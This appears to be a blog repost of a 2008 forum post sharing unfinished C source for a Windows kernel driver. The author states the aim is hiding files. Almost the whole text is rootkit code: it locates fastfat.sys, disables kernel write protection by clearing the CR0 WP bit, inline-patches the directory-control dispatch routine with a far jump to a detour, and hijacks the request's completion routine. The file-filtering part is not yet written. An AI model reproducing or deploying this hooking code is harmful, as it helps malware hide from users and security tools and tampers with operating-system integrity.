Sunday, August 7, 2011

FSD inline hook

Anthor:hfyy
Time:2008-05-13 19:32:44

This is unfinished code,I wanted to hide file,But The code turn up question to worte specific for hide file.So Pubilish to help,


code:
#include "ntddk.h"

typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct tag_QUERY_DIRECTORY
{
  ULONG Length;
  PUNICODE_STRING FileName;
  FILE_INFORMATION_CLASS FileInformationClass;
  ULONG FileIndex;
} QUERY_DIRECTORY, *PQUERY_DIRECTORY;

typedef struct  _REQINFO{
  PIO_COMPLETION_ROUTINE    OldCompletion;
} REQINFO,*PREQINFO;

NTSYSAPI NTSTATUS
ObReferenceObjectByName(
            IN PUNICODE_STRING ObjectPath,
            IN ULONG Attributes,
            IN PACCESS_STATE PassedAccessState OPTIONAL,
            IN ACCESS_MASK DesiredAccess OPTIONAL,
            IN POBJECT_TYPE ObjectType,
            IN KPROCESSOR_MODE AccessMode,
            IN OUT PVOID ParseContext OPTIONAL,
            OUT PVOID *ObjectPtr);

typedef  NTSTATUS  (*OLDIRPMJDIRECTORYCONTROL)(IN PDEVICE_OBJECT,IN PIRP);



NTSTATUS HookFastFat();//hook fastfat.sys
NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context);//完成示例
VOID write();//写入补丁
VOID write_back();//写回补丁
NTAPI MyDirectoryControl();//这个函数将inline在IRP_MJ_DIRECTORY_CONTROL之前
NTSTATUS Check();//测试一下  其实是硬编码 如果想应用在不同平台 需要改进


PDRIVER_OBJECT  pFile=NULL;//fastfat的PDRIVER_OBJECT
OLDIRPMJDIRECTORYCONTROL  OldIrpMjDirectoryControl;//原来的MajorFunction[IRP_MJ_DIRECTORY_CONTROL]
BOOL hook;//hook标志
PIO_STACK_LOCATION  irpStack;
DWORD        context;//这个用来传递完成示例的地址

// This is our unload function

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

    DbgPrint("OnUnload called\n");
  if (hook)
  {
    write_back();
  }
  //这里我用的方法是inline hook 还可以用下面方法hook IRP
  /*if (OldIrpMjDirectoryControl&&pFile)
  {
    InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)OldIrpMjDirectoryControl);
  }*/

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,

                     IN PUNICODE_STRING theRegistryPath)

{
    NTSTATUS ntStatus;
    DbgPrint("I loaded!");
    ntStatus=HookFastFat();
    if(!NT_SUCCESS(ntStatus))
      return  ntStatus;
      // Initialize the pointer to the unload function

      // in the DriverObject

    theDriverObject->DriverUnload  = OnUnload;

    return STATUS_SUCCESS;

}
//hook fastfat.sys
NTSTATUS HookFastFat()
{
  char *p;
  int  i;
  NTSTATUS ntStatus;
  UNICODE_STRING  sFastFat;
  WCHAR  FastFatBuffer[]=L"\\FileSystem\\Fastfat";
  RtlInitUnicodeString(&sFastFat,FastFatBuffer);
  //得到pFile
  ntStatus=ObReferenceObjectByName(&sFastFat,
                  OBJ_CASE_INSENSITIVE,NULL,0,
                  ( POBJECT_TYPE )IoDriverObjectType,
                  KernelMode,NULL,&pFile);
 
  if(!NT_SUCCESS(ntStatus))
    return ntStatus;
  //保持一下旧的MajorFunction[IRP_MJ_DIRECTORY_CONTROL]
  OldIrpMjDirectoryControl=pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL];
  p=(char *)OldIrpMjDirectoryControl;
  //函数地址change hook
  /*if (OldIrpMjDirectoryControl)
  {
    InterlockedExchange((PLONG)&pFile->MajorFunction[IRP_MJ_DIRECTORY_CONTROL],(LONG)MyControl);
  }*/
  //DbgPrint("%08X",p);
  /*for(i=0;i<7;i++)
  {
    DbgPrint("-0x%02X",(unsigned char)p[i]);
  }*/
  //在此处将补丁写入 将hook标志置TRUE
  if(NT_SUCCESS(Check()))
  {
    DbgPrint(" check SUCCESS");
    write();
    hook=TRUE;
  }
  else
    DbgPrint(" check UNSUCCESSFUL");
  return  ntStatus;
}
//测试一下
NTSTATUS Check()
{
  int i=0;
  char *p=(char *)OldIrpMjDirectoryControl;
  char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9};
  for(;i<7;i++)
  {
    DbgPrint("-0x%02X",(unsigned char)p[i]);
    if(p[i]!=c[i])
    {
      return STATUS_UNSUCCESSFUL;
    }
  }
  return STATUS_SUCCESS;
}

//写入补丁
VOID write()
{
  KIRQL oldIrql;
  char *actual_function=(char *)OldIrpMjDirectoryControl;
  char *non_paged_memory;
  unsigned long detour_address;
  unsigned long reentry_address;
  int i = 0;
  //jmp 11223344
  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 };
  //要返回的地址是原来地址+7
  reentry_address = ((unsigned long)OldIrpMjDirectoryControl) + 7;
  //分配空间 要是NonPagedPool
  non_paged_memory = ExAllocatePool(NonPagedPool,1024);
  //将补丁写入non_paged_memory
  for(i=0;i<1024;i++)
  {
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)MyDirectoryControl)[i];
  }
  //将地址保持在detour_address
  detour_address = (unsigned long)non_paged_memory;
  //将11223344替换为真正补丁地址
  *( (unsigned long *)(&newcode[1]) ) = detour_address;

  //将AAAAAAAA替换为真正的返回地址
  for(i=0;i<1024;i++)
  {
    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
    {
      // we found the address 0xAAAAAAAA
      // stamp it w/ the correct address
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
      break;
    }
  }
  oldIrql = KeRaiseIrqlToDpcLevel();
  //写入补丁了
  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 7;i++)
  {
    actual_function[i] = newcode[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }
  KeLowerIrql(oldIrql);
}
//写回
VOID write_back()
{
  KIRQL oldIrql;
  char *actual_function=(char *)OldIrpMjDirectoryControl;
  //将原来的指令写回 此处用的硬编码
  char c[]={0x6a,0x18,0x68,0x20,0x3d,0xd8,0xf9};
  int i;
  oldIrql = KeRaiseIrqlToDpcLevel();
  __asm
  {
            push eax
            mov  eax, CR0
            and  eax, 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
    }

  for(i=0;i < 7;i++)
  {
    actual_function[i] = c[i];
  }

  __asm
    {
            push eax
            mov  eax, CR0
            or   eax, NOT 0FFFEFFFFh
            mov  CR0, eax
            pop  eax
  }
  KeLowerIrql(oldIrql);
}
//此处为naked 函数 防止编译器放入额外操作码
__declspec(naked) NTAPI MyDirectoryControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
  __asm
  {   
      pushad
      pushfd
  }
  //此处设置IRP CompletionRoutine并将原来的CompletionRoutine地址保存放入context
  irpStack=IoGetCurrentIrpStackLocation(Irp);
  irpStack->Control = 0;
  irpStack->Control |= SL_INVOKE_ON_SUCCESS;
  irpStack->Context=(PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(PREQINFO));
  ((PREQINFO)irpStack->Context)->OldCompletion=irpStack->CompletionRoutine;
  irpStack->CompletionRoutine=(PIO_COMPLETION_ROUTINE)MyCompletionRoutine;
  __asm
  {   
      popfd
      popad
  }
  __asm
  {   
    // exec missing instructions
    push  18h
    push    0F9D83D20h
  }
    // jump to re-entry location in hooked function
    // this gets 'stamped' with the correct address
    // at runtime.
    //
    // we need to hard-code a far jmp, but the assembler
    // that comes with the DDK will not poop this out
    // for us, so we code it manually
    // jmp FAR 0x08:0xAAAAAAAA
  __asm
  {
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00
  }
}
//CompletionRoutine
NTSTATUS MyCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
  PIO_COMPLETION_ROUTINE old;
  old=((PREQINFO)Context)->OldCompletion;
  DbgPrint("MyCompletionRoutine called");
  ExFreePool(Context);
  if ((Irp->StackCount>(ULONG)1)&&(old!=NULL))
  {
    return  (old)(DeviceObject,Irp,NULL);
  }
  else
    return  Irp->IoStatus.Status;
}

No comments:

Post a Comment